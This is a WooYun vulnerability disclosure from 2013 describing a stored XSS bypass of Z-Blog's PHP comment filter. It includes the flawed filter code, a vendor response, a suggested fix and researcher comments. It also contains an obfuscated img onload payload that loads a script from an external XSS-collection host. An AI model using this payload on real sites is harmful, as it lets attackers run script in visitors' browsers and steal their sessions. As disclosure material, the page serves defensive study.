当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037952

漏洞标题:Z-Blog的PHP版前台存储型XSS漏洞一

相关厂商:Z-Blog

漏洞作者: 只发通用型

提交时间:2013-09-24 11:30

修复时间:2013-12-23 11:31

公开时间:2013-12-23 11:31

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-24: 细节已通知厂商并且等待厂商处理中
2013-09-24: 厂商已经确认,细节仅向厂商公开
2013-09-27: 细节向第三方安全合作伙伴开放
2013-11-18: 细节向核心白帽子及相关领域专家公开
2013-11-28: 细节向普通白帽子公开
2013-12-08: 细节向实习白帽子公开
2013-12-23: 细节向公众公开

简要描述:

看到你们内测的消息我就屁颠屁颠地跑过来了,花了两个通宵看代码发现几处漏洞..
这里先绕过了你们XSS过滤脚本..

详细说明:

问题出在
/zb_system/function/c_system_common.php

function TransferHTML($source,$para){
if(strpos($para, '[nohtml]')!==false){
$source=preg_replace("/<([^<>]*)>/si","",$source);
}
if(strpos($para, '[noscript]')!==false){
$source=preg_replace("/<(script.*?)>(.*?)<(script.*?)>/si","",$source);
$source=preg_replace("/<(?script.*?)>/si","",$source);
$source=preg_replace("/javascript/si","",$source);
$source=preg_replace("/vbscript/si","",$source);
$source=preg_replace("/on([a-z]+)*=/si","on\=",$source);
}
if(strpos($para, '[enter]')!==false){
$source=str_replace("","<br/>",$source);
$source=str_replace("","<br/>",$source);
$source=str_replace("","<br/>",$source);
$source=preg_replace("/(<br>)+/", "<br/>", $source);
}
if(strpos($para, '[noenter]')!==false){
$source=str_replace("","",$source);
$source=str_replace("","",$source);
$source=str_replace("","",$source);
}
if(strpos($para, '[filename]')!==false){
$source=str_replace(array("/","#","$","\",":","?","*","","<",">","|"," "),array(""),$source);
}
if(strpos($para, '[normalname]')!==false){
$source=str_replace(array("#","$","(",")","*","+","[","]","{","}","?","\","^","|",":","'","",";","@","~","=","%","&"),array(""),$source);
}
return $source;
}


XSS过滤函数,看上去是很安全,可是可是 这个正则有个问题,他判断是XSS成立的条件是<>两个存在script,javascript,vbscript.onxxxx…but…开发似乎不知道,img标签是可以不闭合<>,浏览器会帮你闭合的这个特性,更多详情 请看http://drops.wooyun.org/tips/147
插入XSS代码

<img/src=http://www.baidu.com/img/baidu_sylogo1.gif onload=(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,105,120,115,115,46,105,110,47,47,122,83,106,109,68,65,63,49,51,55,57,57,57,50,51,55,57);document.body.appendChild(window.s)})()


不闭合img标签,成功绕过

1.jpg


2.jpg

漏洞证明:

1.jpg


2.jpg

修复方案:

你评论又不需要用到html,
直接$comment->Content=htmlspecialchars($comment->Content,'[nohtml]');

版权声明:转载请注明来源 只发通用型@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-09-24 13:52

厂商回复:

暂时先用htmlspecialchars($comment->Content,'[nohtml]');替换一下

最新状态:

2013-09-24:dbsql.php第197行,删除就好了。


漏洞评价:

评论

  1. 2013-09-24 13:46 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    别给20RANK啊 要被小厂商流程的 比5rank高一点就好

  2. 2013-09-24 13:59 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @只发通用型 .....刷rank老手,快说,你是谁的马甲!

  3. 2013-09-24 14:07 | Z-Blog(乌云厂商)

    。。。我是ZBLOG的。第一次打分,可以改不?

  4. 2013-09-24 14:13 | Z-Blog(乌云厂商)

    已发信给help#wooyun.org,说明了是第一次打分,不知道规则!!!

  5. 2013-09-24 14:30 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    @niliu 别人都叫我疯狗,但是我真名叫剑心,可是很多人都把我认成finger

  6. 2013-09-24 14:31 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    @Z-Blog 下次注意就行了 但愿不会有下次?(偷笑

  7. 2013-09-24 14:32 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @只发通用型 别人都叫我疯狗,但是我真名叫剑心,可是很多人都把我认成finger,其实猪猪侠才是你的本名!!!

  8. 2013-09-24 16:11 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。洞主是来刷钱的

  9. 2013-09-24 16:47 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    在内测都不放过 禽兽啊

  10. 2013-09-27 15:25 | 低调 ( 实习白帽子 | Rank:42 漏洞数:18 | .......)

    楼主 别带着一个羊薅羊毛呀!!!!!发个DZ的

  11. 2013-09-28 02:22 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @niliu 别人都叫我疯狗,但是我真名叫剑心,可是很多人都把我认成finger,其实猪猪侠才是你的表哥本名!!! 你其实是二哥。